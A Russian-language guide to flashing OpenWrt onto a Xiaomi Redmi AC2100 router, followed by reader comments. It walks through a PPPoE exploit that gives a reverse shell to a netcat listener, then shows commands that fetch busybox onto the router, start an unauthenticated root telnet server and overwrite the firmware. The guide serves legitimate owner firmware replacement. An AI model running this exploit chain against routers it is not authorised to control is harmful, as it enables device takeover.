https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100
Прошивка роутера Xiaomi Redmi AC2100 из Ubuntu 20.04
Как это работает.
Есть два скрипта:
- Первый - реализует PPPoE сервер
- Второй - это эксплоит уязвимости, который делает reverse shell - то есть заставляет роутер подсоединиться на заданный IP-адрес и порт и получать оттуда shell-команды.
После получения shell'а мы скопируем туда busybox, затем с его помощью запустим сервер telnet.
Потом - подключимся туда клиентом telnet и прошьем то что нам нужно.
Установим софт, скачаем скрипты и OpenWrt
На хосте, с которого прошиваем роутер долджен быть установлен python3.8 (скорее всего и с более старыми все заработает) - с более новыми возможны проблемы, решение которых приведено в конце статьи.
Итак, выполняем:
mkdir ./ac2100 && cd ./ac2100 sudo python -m pip install --upgrade pip sudo pip3 install scapy wget https://busybox.net/downloads/binaries/1.31.0-defconfig-multiarch-musl/busybox-mipsel -O busybox wget https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin wget https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin wget https://wiki.autosys.tk/_media/openwrt/ac2100_scripts.tar.gz tar -xvf ./ac2100_scripts.tar.gz
В директории, в которой находятся имиджи OpenWrt, нужно запустить HTTP-сервер, чтобы можно было скачать имиджи в роутер:
sudo python -m http.server 80
Взлом роутера
Подключаем один из LAN-портов Redmi AC2100 к хосту с помощью патчкорда.
Вторым патчкордом соединяем WAN-порт с одним из LAN-портов.
На сетевом интерфейсе хоста, к которому подключен Redmi AC2100 прописываем адрес 192.168.31.177. Это важно, поскольку именно на этот адрес будет подключаться роутер после применения эксплоита.
В pppoe-simulator.py прописываем свой ethernet-интерфейс (в строке interface = “…“) и запускаем:
chmod +x ./pppoe-simulator.py sudo python3 ./pppoe-simulator.py
Теперь - идем в web-интерфейс роутера по адресу http://192.168.31.1 и жмем большую синюю кнопку. Роутер сам обнаружит, что ему доступен PPPoE-сервис и предложит ввести логин и пароль. Вводим любые логин/пароль (например и там и там 123) и подключаемся. В окне с pppoe-simulator.py увидим, что роутер подключился.
Открываем еще одно терминала и запускаем netcat - фактически сервер, к которому подключится взломанный роутер, чтобы получать shell-команды:
sudo netcat -nvlp 31337
В результате по нашему адресу 192.168.31.177 на порту 31337 должен быть доступен сокет. Адрес и порт менять нельзя - они захардкожены в эксплоите.
Теперь - в скрипте cve.py прописываем наш интерфейс (в строке interface = ”…“) и в строке с условием определения адреса жертвы первые шесть символов (можно и весь) мак-адрес роутера, написанный на стикере на его брюхе.
if src.startswith("your:router:mac")
и выполняем эксплоит:
sudo python3 ./cve.py
Он выдаст примерно такое:
sessionid:246 src:00:00:00:00:0b:6f dst:28:d1:27:dc:20:58 . Sent 1 packets.
В результате через пару секунд в окне с запущенным netcat должна появиться строка:
Connection received on 192.168.31.1 45500
Это значит, что shell полулчен и можно выполнять команды!!! Команды вводить прямо в окне netcat после строки Connection received …
Наша цель - запустить сервер telnet. Если в процессе ввода команд shell отвалится (netcat закроется), то netcat надо перезапустить и еще раз запустить cve.py.
После запуска telnet соединени будет стабильно. Чтобы запустить telnet выполняем:
wget http://192.168.31.177/busybox -O /tmp/busybox chmod +x /tmp/busybox /tmp/busybox telnetd -l /bin/sh
Теперь на роутере работает сервер telnet и к нему можно подключиться. Запускаем telnet:
telnet
И вводим команду:
o 192.168.31.1
В итоге должны увидеть такое:
telnet> o 192.168.31.1 Trying 192.168.31.1... Connected to 192.168.31.1. Escape character is '^]'. BusyBox v1.19.4 (2019-12-26 08:38:38 UTC) built-in shell (ash) Enter 'help' for a list of built-in commands. /lib/netifd/proto #
И теперь собственно прошивка:
wget http://192.168.31.177/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin -O /tmp/kernel1.bin wget http://192.168.31.177/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin -O /tmp/rootfs0.bin # Enable uart and bootdelay, useful for testing or recovery if you have an uart adapter! nvram set uart_en=1 nvram set bootdelay=5 # Set kernel1 as the booting kernel nvram set flag_try_sys1_failed=1 # Commit our nvram changes nvram commit # Flash the kernel mtd write /tmp/kernel1.bin kernel1 mtd -r write /tmp/rootfs0.bin rootfs0
В итоге - роутер должен сам перезагрузиться в OpenWrt.
Дальше - подключаем роутер кабелем интернету, на компе выставляем получение адреса по DHCP (в итоге OpenWrt должен выдать нам адрес из подсети 192.168.1.0/24) логинимся в него по ssh (без пароля):
ssh root@192.168.1.1
Устанавливаем на него web-интерфейс luci:
opkg update opkg install luci
Всё. Дальше можно идти в web-морду и настраивать всё как обычно!
Обновление
Для обновления - скачиваем отсюда https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-sysupgrade.bin и прошиваем.
Не забываем, что в образах нету luci и после прошивки потребуется ее переустановить:
opkg update opkg install luci
Ну и переустановить и перенастроить те пакеты, которые вы использовали.
В моем случае - haproxy:
opkg install haproxy
Обновление CLI
cd /tmp wget https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-sysupgrade.bin wget https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/sha256sums sha256sum -c sha256sums 2> /dev/null | grep OK sysupgrade -v -k openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-sysupgrade.bin
Если в системе python 3.9 и новее
Если у вас в системе установлен python 3.9 или более новый (как, например, в моей Ubuntu 21.04) , то запуск pppoe-simulator.py приведет к ошибке:
Waiting for packets Traceback (most recent call last): File "/home/mike/ac2100/./pppoe-simulator.py", line 183, in <module> sniff(prn=packet_callback, filter="pppoed or pppoes", lfilter=isNotOutgoing) File "/usr/local/lib/python3.9/dist-packages/scapy/sendrecv.py", line 1263, in sniff sniffer._run(*args, **kwargs) File "/usr/local/lib/python3.9/dist-packages/scapy/sendrecv.py", line 1210, in _run session.on_packet_received(p) File "/usr/local/lib/python3.9/dist-packages/scapy/sessions.py", line 108, in on_packet_received result = self.prn(pkt) File "/home/mike/ac2100/./pppoe-simulator.py", line 63, in packet_callback for tag in pkt[PPPoED][PPPoED_Tags].tag_list: File "/usr/local/lib/python3.9/dist-packages/scapy/packet.py", line 1344, in __getitem__ raise IndexError("Layer [%s] not found" % name) IndexError: Layer [PPPoED_Tags] not found
Для того, чтобы запустить pppoe-simulator.py нужно установить python3.8 и запускать скрипт pppoe-simulator.py в нем.
Установка python3.8 рядом с python3.9
wget https://www.python.org/ftp/python/3.8.7/Python-3.8.7.tgz tar -xvzf ./Python-3.8.7.tgz cd Python-3.8.7/ ./configure --enable-optimizations sudo make clean sudo make -j8 sudo make altinstall sudo python3.8 -m pip install --upgrade pip sudo python3.8 -m pip install scapy
и запускаем
sudo python3.8 ./pppoe-simulator.py
Также возможна такая ошибка:
FileNotFoundError: [Errno 2] No such file or directory: b'liblibc.a'
которая лечится так:
cd /usr/lib/x86_64-linux-gnu/ sudo ln -s -f libc.a liblibc.a
Discussion
День добрый, все огонь, кроме люси
Похоже на проблемы с репозиториями (вернее с пакетами в них).
Насколько я понял, иногда бывает, что в репозиториях отсутствуют некоторые пакеты, поскольку они неудачно собрались.
Это поправляют админы пакетов и репозиториев :)
Вот аналогичные проблемы: https://forum.openwrt.org/t/luci-dependency-error-libiwinfo20200105/52117/15